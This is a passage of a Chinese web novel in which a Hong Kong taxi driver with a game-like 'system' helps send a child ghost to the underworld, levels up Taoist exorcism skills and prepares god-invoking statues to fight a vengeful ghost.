于子朗又让纸扎陈烧了另外几套衣服和那个小洋娃娃。
每烧完一套,小宜身上的衣服就随之变换,她像个得到了新玩具的孩子,兴奋地尝试着不同的造型,抱着凭空出现的纸扎洋娃娃玩得不亦乐乎。
古德看着这神奇的一幕,心里不禁升起一个疑问:她换下来的“旧”衣服哪去了?难道像游戏里一样,自动存入“背包”了?
他忍不住向纸扎陈请教:“陈老板,这烧过去的衣服,她换下来之后,是就消失了?还是能存起来?”
纸扎陈闻言,捋了捋下巴并不存在的胡子,露出一个“问对人了的”表情,用老行家口吻解释道:
“德仔,你问到点子上了。这阴间的事,跟咱们阳间不太一样,但也有它的规矩。”
他指了指那个还在冒着一丝热气的铁桶,“按照老辈传下来的说法和道藏杂记里的记载,这纸扎品啊,烧化之后,其‘形’与‘意’并非完全消失,而是通过烟火为媒介,化为一缕‘灵韵’或‘信息’,被下面的‘接收者’感知并吸纳。”
“小宜丫头收到的,与其说是实体的衣服,不如说是这件衣服的归属权。她心念一动,就能凭阴魂之力将这物品显化出来,穿在身上。至于换下来的‘旧’衣服嘛……”
纸扎陈顿了顿,卖了个关子。
“其实并没有实体存在,那‘旧’的概念,当她不再需要时,自然就消散于无形,回归天地了。有点像……嗯,有点像你们年轻人说的游戏‘覆盖存档’。所以不存在换下来没地方放的问题。
当然啦,也有些执念深的老鬼,喜欢把‘旧物’的意念收藏起来,但那需要一定的道行,寻常新鬼是做不到的。这都是老祖宗传下来的经验,夹杂着些道门里的说法,具体多玄乎,咱也没真下去看过,哈哈!”
古德听完,恍然地点了点头:“原来如此,还有这么多讲究。”心
里却想:这阴间的物流和存储系统还挺先进,就像后世的云端覆盖,节能环保。
看着小宜在那边开心地试穿新衣服、摆弄新玩具,三个大男人相视一笑,暂时没有去打扰她这份简单的快乐。
古德从裤兜里摸出一包“万宝路”,抖出两根,分别递给纸扎陈和于子朗
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。
纸扎陈笑着摆摆手,把烟夹在了耳朵上:“年纪大了,少抽点,留着提神。”
于子朗很自然地接了过去,说了声“谢谢”,还问古德要了打火机,“啪”一声点燃,深深吸了一口,吐出烟雾,脸上带着点疲惫后的放松。
古德有些意外地看向于子朗,他印象里电视剧里的于子朗似乎不抽烟。
看来这现实和电视剧还是有区别,压力大的工作,抽根烟也正常。
纸扎陈看了看天色,道:“阿德,你们忙吧,我店里还有点活计要收尾,就先回去了。”
“好的陈老板,您忙,过两天我再来找您谈点事。”
古德点点头,他心里盘算着找纸扎陈批量基础符箓的事情,虽然效果可能不如自己亲手画的,但胜在量大、省时,可以满足日常消耗。
纸扎陈转身回了店里,关上了门。
古德和于子朗就靠在纸扎铺门外的墙边,借着路灯的光,抽着烟,有一搭没一搭地闲聊起来。
夜晚的街道很安静,偶尔有车辆驶过。
古德想到于子朗的阴阳眼和警察身份,觉得他是个好苗子,便随口提议:
“子朗,你有没有考虑过调个部门?比如……警务处下面有个比较特殊的科室,专门处理一些……常规警力不太方便插手的事情。我觉得你的能力和经历,挺适合的。”
于子朗闻言,吸了口烟,露出感兴趣的表情:“特殊科室?像电影里那种‘抓鬼部队’?”
他笑了笑,但眼神里还是有些犹豫,“听起来是挺刺激的……不过,我现在在DIE也挺好。”
古德笑了笑,弹了弹烟灰:“我就这么一说,给你多一个选择。有兴趣的话,我可以把那边负责人介绍给你认识。要是想过普通日子,我也可以帮你把阴阳眼暂时封上,省得你老看见些不该看的,影响生活。”
于子朗沉默了一会儿,看着远处玩闹的小宜,点了点头:“嗯……我考虑考虑。谢谢你了,阿德。”
又过了一会儿,看小宜玩得差不多了,新鲜劲也过去了,古德掐灭烟头,对于子朗和小宜招呼道:
“好了,小宜,新衣服也换好了,玩具也玩了,咱们该办正事啦。早点送你去个好人家,你也好早点重新开始。”
小宜乖巧地点点头,虽然还有点不舍,但还是飘了过来。
三人再次上车。
古德发动引擎,红色的出租车朝着阴阳路888号的方向驶去。
果然不出古德所料,当他们到达888号楼下时,岚婆那熟悉的身影已经静静地站在那里,仿佛早已等候多时。
古德抬头望着四楼那个漆黑的窗户。
404房此刻里面静悄悄的,没有灯光,看来林中发一家三口都已经被安排好了。
第78章 定好时间,三天后。
古德将车稳稳停在阴阳路888号楼下,熄了火。
他推门下车,绕到车尾,“咔哒”一声打开后备箱,从里面拎出一个看起来颇为沉重的黑色手提箱。
箱体表面似乎还贴着几张不起眼的黄符,隐隐散发着微弱的禁制气息。
他提着箱子,走到一直静立在楼下的岚婆面前,将箱子递了过去:
“岚婆,还在盯着上面那家伙呢?喏,这是这几天谢潮和阿星他们收来的‘货’,都在这儿了。阴德您直接记在他们俩名下就行。”
他顿了顿,露出一个略带狡黠的笑容,“不过,我那部分抽成,您可别忘了一起算上哈。”
岚婆接过箱子,入手微微一沉。
她脸上露出满意的笑容,点了点头,声音依旧带着那种特有的沙哑和缓:
“放心,老婆子我记性好着呢。以后还指望你们多‘供货’,我这‘业绩’也能好看点。”
这时,于子朗也小心翼翼地下了车。
他毕竟是警察,观察力敏锐,虽然岚婆看起来和普通阿婆没什么两样,但她身上那种若有若无的、与周围环境格格不入的阴冷气息,以及双脚似乎并未完全踏实踩在地面上的细微感觉,都让他心里发毛。
他紧张地咽了口唾沫,跟着古德喊了一声:“岚……岚婆好。”
小宜则更加敏感,她一下车就嗖地一下躲到了于子朗身后,只探出半个小脑袋,怯生生地看着岚婆。
她能清晰地感觉到,这位老婆婆身上有一种天然克制她这种阴魂的力量,虽然对方没有恶意,但那种气息还是让她本能地感到不舒服。
岚婆对于子朗微微颔首,算是打过招呼,然后将探究的目光投向古德,意思很明显:这小伙子和小女鬼是怎么回事?
古德笑了笑,解释道:“岚婆,这位是于子朗,我朋友。他身后那位是小宜,就是这次想请您帮忙送下去。这小姑娘心思纯净,就是命不好,滞留阳间久了点。”
岚婆闻言,目光再次落到小宜身上,仔细打量了一番,浑浊的眼睛里不禁闪过一丝惊讶和……欣喜?
她活(死)了这么多年,很少见到阴气如此精纯雄厚、却又没有丝毫怨毒暴戾之气的魂体!
这简直就是地府各大势力争抢的优质苗子啊!
要是能顺利引荐上去,别说阴德了,说不定还能得到些额外的好处!
她心中念头飞转,脸上却不动声色,只是点了点头,对古德使了个眼色,示意借一步说话。
两人走到旁边几步远的一棵老榕树下,岚婆压低声音,用只有两人能听清的音量说道:
“德仔,这小丫头……不简单啊。她这资质,下去之后恐怕不是直接排队投胎那么简单。很可能会被下面某些‘大人物’看中,收去做个弟子、或者纳入麾下办差。
这其中的机缘和风险……你得跟那小伙子和小丫头说清楚,让他们自己选。是求个安稳,老婆子我尽量打点,但是不保证会不会被人带走....”
古德听完,愣了一下。
他原本以为下去就是走流程、喝汤、过桥、投胎,没想到下面也这么搞黑幕?
这地府的运行机制比他想象的要复杂得多啊。
他沉吟了片刻,知道岚婆是出于好意私下告知,古德也觉得这事关小宜的未来,还是让小宜自己做决定更好。
他对于子朗和小宜招了招手:“子朗,小宜,你们过来一下。”
等于子朗带着小宜走近,古德便把岚婆刚才说的情况,原原本本、毫无保留地告诉了他们。
最后他强调:“情况就是这样,这个选择,得你们自己做。”
小宜毕竟年纪小,死的又早,对这些弯弯绕绕一无所知,听得云里雾里,只好仰头看着于子朗,小手紧紧抓着他的衣角:
“郎朗,我听不懂……你帮我决定吧,你选什么我都听你的。”
于子朗眉头紧锁,脸上写满了纠结。
他既希望小宜有个好归宿,又担心她下去后被欺负、或者卷入什么麻烦。
他看向古德,带着最后一丝期望问:“阿德,就不能……直接送小宜去投胎吗?简单点?”
古德耸了耸肩,坦诚道:“我也希望那么简单。但规矩好像不是这样。不过你放心....”
他看向岚婆,“岚婆在下面路子广、人面熟,有她关照,至少能保证小宜不吃亏,不受欺负。至于最终怎么选,还是看你们。”
岚婆也适时地露出一个和蔼的笑容,对于子朗保证道:
“后生仔,你放心。老婆子我虽然只是个跑腿的,但在下面多少还有几分薄面。这小丫头我看着投缘,肯定不会让她受了委屈。就算是被大人物看中无法投胎,老婆子我都会尽力帮她周全。”
作为各大恐怖片里不可缺少的龙婆这一角色,龙婆这一脉在地府也占据不少职位。
所以别看岚婆只是小小的见习鬼差,说不定背后就站着某个大佬。
于子朗看着岚婆,又看看一脸依赖望着自己的小宜,再看向目光坦诚的古德,内心挣扎了好一会儿。
最终,他长长叹了口气,知道无
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论如何,让小宜继续滞留阳间不是办法。
他点了点头,对于岚婆郑重地说:“岚婆,那……小宜就拜托您了。请您多费心,尽量……尽量让她好好的。”
岚婆见事情谈妥,脸上笑容更盛,点了点头。
她转而看向古德,提起了另一件事:“德仔,那404房的母子我让小谢去找个地方安置了,小谢那边也已经按计划把那个烂赌鬼林中发‘请’回去协助调查了,暂时隔离了起来。
不过,楼上那个大家伙,没了林中发在身边,怨气好像更加躁动不安了。你打算什么时候动手?”
古德闻言,心中默算了一下。
他意识中调出系统面板,看着【公里点数】一栏那个数字1888.8。
再加上今晚送于子朗回去和可能接的单,突破1900点应该没问题。
他摸了摸下巴,思索片刻后,定下时间:“三天后!阳历7月18日!这三天我需要准备些东西,调整下状态。到时候,我来会会这个赌鬼!”
岚婆点了点头:“好,三天后子时,老婆子我会在这里接应你们。晚上阴气盛,我也能出手挡一挡它,防止它狗急跳墙波及无辜。”
事情商定,岚婆便不再耽搁,对躲在于子朗身后的小宜招了招手:“小丫头,跟婆婆走吧,婆婆带你去个新地方。”
小宜依依不舍地看了于子朗最后一眼,在于子朗鼓励的目光中,慢慢飘到了岚婆身边。
岚婆牵起小宜的手,两人的身影在路灯下渐渐变得模糊、透明,最终如同融入夜色一般,消失不见了。
于子朗望着空荡荡的前方,怔怔地出了会儿神,脸上带着些许落寞。
古德拍了拍他的肩膀:“行了,别看了。对她来说是好事。走吧,我送你回家。”
回程的路上,于子朗显得很沉默,多半还在想着小宜。
古德也没多说什么,只是专注地开车,并且一如既往地,在于子朗上车后,“啪”地一声按下了计价器。
等于子朗付费下车后,古德又顺便在附近兜了一圈,幸运地接了一个去顺路往阴阳路方向的客人。
当他终于把车开回阴阳路13号楼下时,夜已经深了。
停好车,古德第一时间查看系统。
【公里点数:1910.6】
“还差一点到2000,不过也够用了。”古德满意地点点头,嘴角勾起一抹期待的笑容,“接下来,就是愉快的……加点时间了!”
他锁好车,快步上楼,已经有些迫不及待地想要提升实力。
第79章 丰富的技能库
夜深人静,阴阳路37号的小房间里,只亮着一盏昏黄的台灯。
古德洗漱完毕,换上一身舒适的居家服,擦着湿漉漉的头发走到小客厅,一屁股陷进那张有些年头的旧沙发里。
窗外是香江不眠的霓虹,但屋内却有种难得的宁静。
他需要为三天后的行动做好万全准备。
面对一个盘踞多年、怨气深重的老牌厉鬼,任何疏忽都可能要命。
他深吸一口气,集中精神,唤出了脑海中那半透明的系统面板。
柔和的光线在眼中展开,各项数据清晰呈现。
目光直接锁定在【公里点数】一栏:1910.6。
“嗯,够用了。”
古德心里盘算起来,手指无意识地在沙发扶手上敲击着,发出轻微的“嗒、嗒”声。
“首先,保命和输出的核心得加强。【金光神咒】必须点到LV3!这是硬抗厉鬼反扑、护住自身的根本。”
他看向金光咒后面的“+”号,意念集中。
【消耗1000点公里数,金光神咒提升至LV3(精通)。】
一股庞大的信息流瞬间涌入脑海!
这一次,不再是简单的口诀手印记忆,而是仿佛将他拉入了一个时间流速极快的意识修炼空间!
在这个空间里,古德日复一日、年复一年地苦修金光咒。
从最初只能勉强维持数秒、光芒黯淡,到后来金光凝实、覆盖全身;
从只能被动防御,到渐渐领悟如何将金光凝聚于拳脚、附着于兵器之上进行攻击;
再到最后,甚至能初步做到金光内敛,只在受击瞬间爆发反击……种种精微变化、运劲法门、能量调控的诀窍,如同烙印般深深刻入他的灵魂深处,化为一种近乎本能的肌肉记忆!
仿佛苦修了整整十年!
当他回神时,现实中只过去了一瞬。
但他对金光咒的理解和掌控,已然发生了天翻地覆的变化!
他感觉现在施展金光咒,不仅消耗更低,持续时间更长,而且更加灵活自如,心念一动,金光便可随心所欲地覆盖身体局部,防御和攻击的转换也更加流畅自然!
“好!这1000点花得值!果然不亏是LV3技能,融会贯通,运用自如。”古德心中振奋。
不过他也清楚,这种“灌输”主要提升的是技巧和经验,对法力的总量提升帮助不大,毕竟金光咒本身并非快速增长法力的**。
金光咒也没办法跟呼吸法进阶一样,会吸收大量的能量增加法力。
“接下来,是理论根基。【炁体源流】,给我加到LV2!”他需要更系统的知识来优化修炼,避免走弯路。
【消耗110点公里数,炁体源流提升至LV2(熟练)。】
又一股信息流涌入,这次是关于人体经络、气机流转、阴阳平衡、内外交感等更深层次的道门理论。
仿佛有了一位无形的导师,为他系统梳理了修炼的底层逻辑和诸多注意事项。
虽然不能直接提升战斗力,但却让他对自身法力的运转、符箓的原理有了更透彻的理解,眼光更加开阔。
“这感觉,就像一口气补完了两坤年(一坤年等于2年半)的理论课。”
古德睁开眼,轻吐一口浊气。
而且,古德觉得这些内容和上辈子看过的书里的内容有些不太一样,更像是系统的私货。
例如那五年理论学习心得中,多了几本关于修行的法门,是古德上辈子没有学过的。
而古德点亮了炁体源流后,这些法门居然也自动生成了技能,出现在技能树上。
古德的眼中不由露出一些意外神色。
这些知识的出现,让他意识到系统给的技能都是贴合他自身情况的,他错怪这个系统了,这是一个好系统。
“不过现在该学的都学会了……是时候来个新花样!”
古德嘴角微微上扬。
他突然想到了一个主意,一个可以大幅提升谢潮和周星星短期战力的操作。
这是他突发异想的操作。
古德琢磨着:“阿潮和阿星刚开始修行,现在修为太浅,靠他们自己,对付厉鬼就是送菜。
虽然可以凭借外物,但是那些外物对付老牌恶鬼都有些勉强了。
更别说厉鬼了,就算有他给的法器,也增加不了他们太多战斗力。”
而古德需要的是能一起去对付这只厉鬼的帮手。
所以他的想法就是请谢潮和周星星的大号上身。
听起来像是一个玩笑话,但越是疯狂的念头,有时候就越是解决问题的关键。
毕竟这里是综影世界,一个充满诡异、混乱和规则漏洞的地方。
虽然如今这方天地好像天道已经崩塌,仙神不降、地府不入,但万一呢?
万一他能让周星星和谢潮和另一个时空的“大号”产生共鸣,或者借助那条联系的“线”调来点力量?
“说不定,会有意外的惊喜。”他低声嘀咕着,眼底的光芒愈发炽烈。
退一步讲,就算大号调不下来,系统出品的请神术,总不至于坑人到什么都召不来。
只要用得好,哪怕是请来个香火神、土地公,都能在关键时候帮上一臂之力。
这想法有点大胆,但值得一试。
反正110点公里数,亏也亏不到哪里去。
【消耗110点公里数,**得技能:请神术LV2(熟练)。】
相关信息涌入,请神术的运转原理、结界的布置方式、神像与香火的灵性勾连、请神符的笔画顺序……所有细节都在脑海中像万花筒一样飞速翻转。
这一次的信息里不仅有术法本身,还有如何选材、如何以桃木、雷击木或檀木雕刻出最易承灵的“神座”,如何布香、如何在祭文里选择最适合的字句,甚至包括不同方位供奉所产生的微妙气场差异。
以及如何请到神像的神力来辅助自身。
虽然系统给出的仪式版本被称为“简易”,但对古德看来,这简直比说明书还详细。
这让古德对接下来的操作胸有成竹。
“好了,核心技能升级完毕。接下来是攻击手段!”
古德目光锐利起来,以他现在的法力
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,足以支撑接下来的加点的技能。
“修道之人,岂能不会雷法?【**】和【五雷符】,都给我到LV2!”
【消耗110点公里数,**提升至LV2(熟练)。】
【消耗110点公里数,五雷符提升至LV2(熟练)。】
刹那间,关于如何更高效地在掌心压缩凝聚雷霆之力、如何绘制威力更强的五雷符箓的知识与经验涌入。
**的施法速度、雷电强度有所提升;五雷符的成功率和威力也增加了。
这相当于又苦练了练习时长2坤年*2的雷法相关技艺。
“攻击力应该够用了。”
古德满意地点点头,看向剩下的470点公里数。
“最后,把这些杂七杂八的【基础符箓】全都点到LV1,凑个齐全!什么静心符、安神符、镇宅符、辟邪符、驱蚊符、清水符……等等三十种常用基础符箓,到时候做成古德符箓大全的书,交给纸扎陈。”
【消耗300点公里数,**得基础符箓绘制(三十种)LV1(入门)。】
海量的、关于各种基础符箓的符文结构、绘制要点、适用场景的信息如同潮水般涌来。
虽然每种都只是入门级别(相当于每种符练习了一年左右),但胜在种类齐全,大大丰富了他的技能库。
至此,所有规划的技能升级完毕!
古德长长地舒了一口气,感觉脑袋有点发胀,这是因为短时间内塞进了太多东西。
他靠在沙发背上,揉了揉太阳穴,闭目养神,慢慢消化着这些新获得的知识和经验。
意识中,各种符箓的笔画、金光咒的运转轨迹、雷法的轰鸣、请神的口诀……纷至沓来,又渐渐归于有序。
“总共消耗了……1000+110+110+110+110+300=1740点。还剩下……170.6点。嗯,刚好留点备用。”他核对了一下账目。
休息了十几分钟,脑中的胀痛感渐渐消退。
古德睁开眼,眼神更加清明和深邃。
“技能点好了,接下来就是准备硬件了。”
他站起身,走到书桌前,拿出纸笔,开始规划。
“明天得去搞点好木料……最好是桃木或者雷击木的边角料也行。要给阿潮和阿星每人雕一个小神像,作为请神术的媒介。幸好之前点了老匠人手艺,本来还想用来做法器的,现在刚好可以给阿潮他们用上。”
他又看了看那块放在角落、用红布盖着的雷击枣木主干。
“是时候让你发挥作用了……”
思路渐渐清晰,古德感觉浑身充满了干劲。
“三天时间,有点紧,但应该够用。”
他打了个哈欠,强烈的疲惫感袭来。
今晚的信息接收量太大了。
他收拾好纸笔,关掉台灯,摸黑爬上床。
窗外城市的微光透过窗帘缝隙,在天花板上投下模糊的光影。
“先睡觉……明天开始,有的忙了。”古德嘟囔了一句,很快便沉沉睡去。
梦中,似乎有金光流转,雷声隐隐。
第80章 荡秽七式
第二天清晨,古德还在睡梦中,就被脑海中一声清脆的提示音惊醒。
“叮!您有新的阴德到账,请注意查收。”
古德一个激灵,猛地睁开眼,睡意全无。
他翻身坐起,迫不及待地唤出系统面板。
半透明的光幕上,一行清晰的文字映入眼帘:
【阴德到账:1080点】
【来源明细:岚婆赠予-1000点;怨灵及游魂野鬼抽成-80点】
【当前阴德:1250/3000】
“嚯!这么多!”古德脸上露出惊喜的表情,忍不住吹了个口哨。
岚婆这次出手真是大方,直接给了1000点!
看来送小宜下去,她老人家确实捞到了不少好处。
这样加上之前积累的和这次的抽成,阴德总数一下子跳到了1250点!
距离系统升级所需的3000点,只剩下1750点的差距了。
“还有一只厉鬼等着入账,照这个速度,努努力,说不定一两个月内就能攒够!”古德心里盘算着,干劲十足。
不过他对岚婆突然这么慷慨也有些好奇,“等过两天见面,得问问她,小宜到底什么拜入谁家,能让她这么大方。”
惊喜过后,古德迅速起床洗漱。
今天任务繁重,既要跑车赚公里数,还要去寻找制作请神媒介的材料。
白天的时光在车轮飞转中流逝。
古德开着车穿梭在香江的大街小巷,目光却不时扫过路边的旧货店、木材行甚至是一些看似不起眼的角落,希望能找到合适的黄花梨或檀香木。
可惜运气不太好,要么材质普通,要么就是别人死活不肯割爱,连边角料都不肯松口。
逛了大半天,仍是一无所获。
就在他略感烦躁的时候,一个小插曲悄然发生。
红灯亮起,古德缓缓刹车,将车停在路口。
忽然之间,空气中仿佛有股凉意无声弥漫开来。
明明是正午烈阳,但车厢里的温度却下降了一丝。
他下意识看向后视镜,只见镜面中有个模糊的小影子一闪而过,如烟如雾,转瞬即逝。
古德心中冷哼一声,早已明白过来。
是有不懂事的小游魂溜上车搭便车了。
这些没什么恶意的小鬼常喜欢搞恶作剧,比如悄悄拨动雨刮器,或者让收音机冒出几声怪异杂音,以此取乐。
平时古德若是心情好,懒得理会,随手亮个斩鬼符就能吓跑。
但今天不同。
一来,他最近刚开通阴德业务,正需要积累阴德;二来,他正好想试试新学的“**”。
想到这里,古德嘴角微微上扬,手掌看似随意地搭在方向盘上,暗暗调动体内法力。
细若游丝的法力在经脉间缓缓流淌,仿佛一股温润的清泉,最终在掌心汇聚成一团微不可察的涟漪。
他并没有在掌心画符,而是直接凭借对雷法的理解与掌控,硬生生在掌心压缩出一缕湛蓝色电弧。
那火花极其微弱,肉眼几乎难以捕捉,却散发出一股与天**霆同源的正气。
**属于中高级术法,虽说入门不算艰难,但却有极高的上限。
它的妙处就在于随着施法者修为的增长,**的形态、威力、乃至衍生的用法,几乎是无穷无尽。
最初学的人,为了降低门槛,往往要在掌心提前画上一枚雷符,这样不仅能减少法力的损耗,还能保证雷光稳定凝聚。
可像古德这样,已经浸淫术法五年,能凭借心神掌控,更好的引动雷光。
此刻,他伸手一震。
“滋啦.....”
一声轻微的、仿佛静电的声音响起。
“哎呀!”
原本模糊不清的阴影瞬间被逼得显形,竟是一只身形瘦小的鬼影。
它双手抱着被雷光灼到的部位,满脸痛苦,魂体在剧烈地翻滚,仿佛被火焰烧灼一般。
雷霆属至阳至刚,本就为阴邪克星。
哪怕古德只是激发了一点点,落在这种阴魂之上,也如同钢针扎入棉絮。
小鬼的魂体立刻波动起来,轮廓虚影急剧闪烁,好像随时会被蒸发殆尽,整个人影都稀薄了几分!
古德见状,心里暗暗一惊,嘴角忍不住抽了一下:
“啧,下手怎么没轻没重……”
他有点懊恼。
自己只是想小试牛刀,结果差点直接把这小鬼打散了。
他赶紧从副驾的袋子里掏出一个早就准备好的、瓶底画了收鬼符的空瓷瓶,打开瓶盖,对着后座那个被电得晕头转向、瑟瑟发抖的小鬼低喝一声:“收!”
一股吸力传来,那小鬼毫无反抗之力,“嗖”地一下就被吸入了瓶中。
古德迅速盖上盖子,贴上一张镇魂符。
“还好收得快,再用力几分怕是要直接物理超度了……这**威力果然不俗,以后对付这种弱鸡得再收着点力。”
古德擦了擦并不存在的冷汗,将瓶子放好。
蚊子腿也是肉,这点阴德也算意外收获。
晚上,古德没有像往常一样拼命接单。
他早早收工回家,因为还有更重要的事情要做。
到家后,他先给谢潮打了个电话。
“阿潮,在干嘛?没事帮我个忙。”
电话接通,古德直接说明来意。
“帮我弄点好木料,黄花梨或檀香木最好,越有年头越行,实在不行,弄个百年桃木也行。”
“尺寸五十乘五十,能多带几块就多带几块。或者可以去你师父那边看看,看看有没有库存,明天顺路给我带过来。”
电话那头谢潮似乎刚忙完,声音带着点疲惫,但很爽快地答应了:“行,没问题,我等会去物色一下。你要做法器?”
“到时候你就知道了。先谢了啊,阿潮。””
古德挂了电话,解决了材料问题,心里踏实不少。
接下来,就是今晚的重头戏。
古德走进被他充当临时工作室的小书房,书桌上早已铺好了黄表纸,研好了朱砂墨。
他宁心静气,排除杂念,整个人进入一种空灵专注的状态。
然后提起那支狼毫笔,蘸饱了殷红的朱砂墨。
笔尖落下,如行云流水,手腕灵动,笔走龙蛇!
一道道繁复而玄奥的符文在黄纸上迅速呈现,笔画连贯,气韵贯通,没有丝毫滞涩。
笔锋过处,隐隐有微不可查的法力波动融入符纸之中。
先是攻击主力【五雷符】。
虽然**更灵活,但五雷符准备充分后威力更大,且能储存,关键是使用方便!
他一口气画了五张。
接着是常用的【斩鬼符】、【护身符】....
还有其他如【辟邪符】、【静心符】等基础符箓若干。
刷刷刷……
不到一个小时,桌面上已经摆满了二三十张绘制完成的符箓,朱砂鲜红,符文清晰,隐隐散发着淡淡的灵光。
古德放下笔,长长舒
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了一口气,站直身体活动了一下有些发酸的手腕。
他感受了一下体内的法力,连续绘制这么多符箓,消耗大约在三分之一左右。
而体内的基础呼吸法一直在自行缓慢运转,天地间稀薄的灵气被丝丝缕缕地吸纳进来,补充着消耗。
照这个速度,睡一觉基本就能恢复满状态。
“效率不错!看来加点之后,画符的成功率和质量都提升了不少。”古德对自己现在的状态相当满意。
接着他的目光随后落在了书桌旁一个剑架上横放着的那柄桃木剑上。
这柄剑他得到后一直用心神和法力温养,此时剑身原本的晦涩之感已然消失,取而代之的是一种温润的光泽,仿佛与古德之间建立起了一种微妙的联系,已经可以如臂指使。
“剑有了,还得有剑法配合。”
古德心念一动,看向系统技能栏里的【荡秽七式】,这是他前世入门必学剑术之一。
这“荡秽”之名,直接源于道教斋醮科仪中的“荡秽科”,意为涤荡污秽,洁净坛场。
这七式剑招并非什么花哨的仙家剑法,据说是历代前辈法师在与邪祟搏杀中,总结出的最朴实、最有效、专破阴邪的七个救命动作。
它不太依赖法力多寡,更看重施法者的胆气、决断和对时机的把握,属于实战性极强的筑基剑术。
“正好需要可以使用桃木剑的手段,点了!”
古德毫不犹豫,消耗110公里数将【荡秽七式】直接提升到LV2(熟练)。
剩下201(含今天开车赚来的)公里点数。
刹那间,一股关于七式基本剑招——拨、扫、劈、刺、撩、格、震——的精要、发力技巧、步法配合、以及针对不同邪祟的运用心得,如同醍醐灌顶般涌入他的脑海!
仿佛有一位经验丰富的老道士,手把手教导了他五年,将这套实战剑法的精髓烙印在他的肌肉记忆之中!
古德闭上双眼,静静消化了片刻。当他再次睁开眼时,眼中精光一闪,整个人的气质似乎都锐利了几分!
他右手在桌面上轻轻一拍!
“啪!”
那柄桃木剑仿佛被无形之力牵引,轻巧地弹起,稳稳落入他的手中!
下一刻,书房内剑光闪烁!
没有华丽的特效,只有简洁、迅猛、精准的动作!
古德脚踏禹步,身形游走,手中桃木剑或拨开虚妄,或横扫阴霾,或力劈邪障,或直刺怨核,或上撩污秽,或格挡反击,或震散妖氛!
每一式都干净利落,带着一股一往无前的破邪正气!
剑风呼啸,虽未灌注太多法力,却自有一股凛然之威!
七式演练完毕,古德收剑而立,气息平稳,嘴角含着一丝自信的笑意。
“不错!以后我就是香江出租车司机里最会捉鬼的靓仔!”
他对着空气扬了扬下巴,颇有点自得其乐。
将桃木剑放回剑架,整理好画好的符箓,古德感觉身心俱疲,但充实无比。
他简单洗漱后,倒在床上,几乎是秒睡过去。
第二天一早,古德还在做着赚大钱、买豪宅、修成**师的美梦,就被一阵急促的敲门声惊醒。
“咚咚咚!咚咚咚!”
“德仔!开门啊!你别躲在里面不出声,我知道你在家!”门外传来周星星那特有的、带着点急切的大嗓门。
古德迷迷糊糊地睁开眼,嘟囔了一句:“搞咩啊……这么早……”
第81章 谢潮和周星星送来的木头
清晨的阳光还没完全驱散薄雾,古德就被一阵急促的敲门声从睡梦中拽了出来。
“咚咚咚!咚咚咚!”
“德仔快开门!快开门!别躲在里面不出声,我知道你在家!”
古德顶着一头乱糟糟的鸡窝头,睡眼惺忪地爬起来,迷迷糊糊地走到门口,拉开了门栓。
门刚开一条缝,一张大脸就猛地凑了过来,几乎要贴到古德脸上,带着夸张的笑容:“德仔!你看我们多够意思!一大早就……”
古德还处于半梦半醒的防御状态,被这突然逼近的脸吓了一跳,条件反射地一拳就挥了过去!
“哎哟!你干嘛!”
周星星捂着左眼,痛呼一声,委屈地后退两步,“德仔!你打**嘛!我好心给你送材料来!”
古德这才完全清醒,看清是周星星和站在后面一脸无奈的谢潮。
他不好意思地揉了揉鼻子,讪笑道:“谁让你凑那么近,吓我一跳……我还以为哪个不开眼的恶鬼大清早来索命呢。”
他侧身让开:“进来吧进来吧,怎么来这么早?”
周星星和谢潮一人提着两个鼓鼓囊囊的大帆布袋子,费力地挤进门。
谢潮把袋子放在地上,擦了擦额头的汗,解释道:
“我昨晚听你电话里语气挺急的,怕耽误你事,连夜回了趟部门库房翻找了一下。喏,这些都是你要的木料,库房里存货不少,我挑了些年份够、品相好的百年黄花梨,你看合不合用?”
古德看着地上那四大袋木料,有些愣神。
他昨天跑了一天都没找到合适的,没想到在谢潮部门的库房里居然有这么多库存!
这官方部门的资源就是不一样啊!
他心里不禁有点羡慕,要是没绑定这个出租车系统,混进谢潮的部门,岂不是能白嫖好多好东西?
不过转念一想,有谢潮这个内部人员在,也差不多等于拥有了一个资源渠道。
“合适合适!太合适了!阿潮你真是帮大忙了!”
古德连忙蹲下身,打开袋子,仔细查看里面的木料。
一块块木料呈现深沉的黄褐色,纹理细腻美观,触手温润,隐隐还能闻到一股淡淡属于黄花梨的香气,确实是上好的制作神像的材料。
虽然看起来四大袋很唬人,但实际装下的木料也就七八块左右,不过品质极高。
谢潮看着古德爱不释手地摆弄着木头,忍不住好奇地问:
“阿德,别折腾了,这些木头我们库房还有不少,你需要随时跟我说。不过……你要这些木头到底做什么用?”
古德拿起一块大小适中、形状规整的黄花梨木料,在手里掂量了一下,感受着木质密度,确认这确实是请神术里提到的上佳媒介材料。
他抬起头,看了谢潮和周星星一眼,慢条斯理地说:“这些啊,是给你们俩准备的。”
“给我们?”谢潮和周星星异口同声,脸上露出疑惑。
“没错。”古德点点头,表情严肃了些,“明天晚上我们要对付的那个家伙,可不是善茬。凭你们俩现在刚入门的那点道行,硬碰硬跟送菜没什么区别。所以,我得给你们找个帮手。”
“帮手?”周星星眼睛一亮,“德仔你要请帮手?哪个门派的高人?”
古德神秘地笑了笑,没有直接回答,反而摸了摸肚子:“这个嘛……说来话长。不过呢,我这一大早起来,都还没有吃饭,这人一饿啊,脑子就转得慢,很多事情就想不起来了……”
周星星和谢潮对视一眼,瞬间明白了古德的暗示。
周星星立刻举手,自告奋勇:“明白!饿着肚子没法谈正事!你们等着,我下面给你们吃!刚好我们也没吃早饭!”
说完就熟门熟路地钻进了厨房。
古德给了他一个孺子可教的眼神,然后继续低头构思。
他一边摩挲着木料,一边在脑海里飞速盘算:周星星这家伙,在无数电影里化身过各种离谱的厉害角色,选择面太广了,得挑个最契合他气质又能打的……
谢潮的话,选项就少一些,得找个能镇得住场子,又能和周星星能搭的上的……
谢潮虽然心里跟猫抓似的好奇,但看古德一脸专注,还是忍住了没再追问,只是安静地坐在一旁看着。
没过多久,厨房里传来香味,周星星端着三碗热气腾腾的青菜鸡蛋面走了出来,细心地没放葱花。
三人围坐在小茶几旁,吸溜着面条。
周星星憋不住了,再次问道:“德仔,现在吃饱了,该说了吧?到底什么外援?怎么帮我们?”
古德放下筷子,擦了擦嘴,看着两人,缓缓吐出三个字:“请神术。”
“请神术?”
谢潮和周星星对视一眼,都从对方眼中看到了惊讶,但并没有太多不可思议。
毕
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竟这个世界灵异事件频发,虽然修行方面已经没落,但是相关的传说和记载他们或多或少都接触过。
“对,请神术。”古德肯定道,“鉴于你们底子薄,我准备尝试为你们各自‘请’一位合适的‘神明’借给你们一部分力量,可以让你们后天晚上帮我一起抓那只厉鬼。”
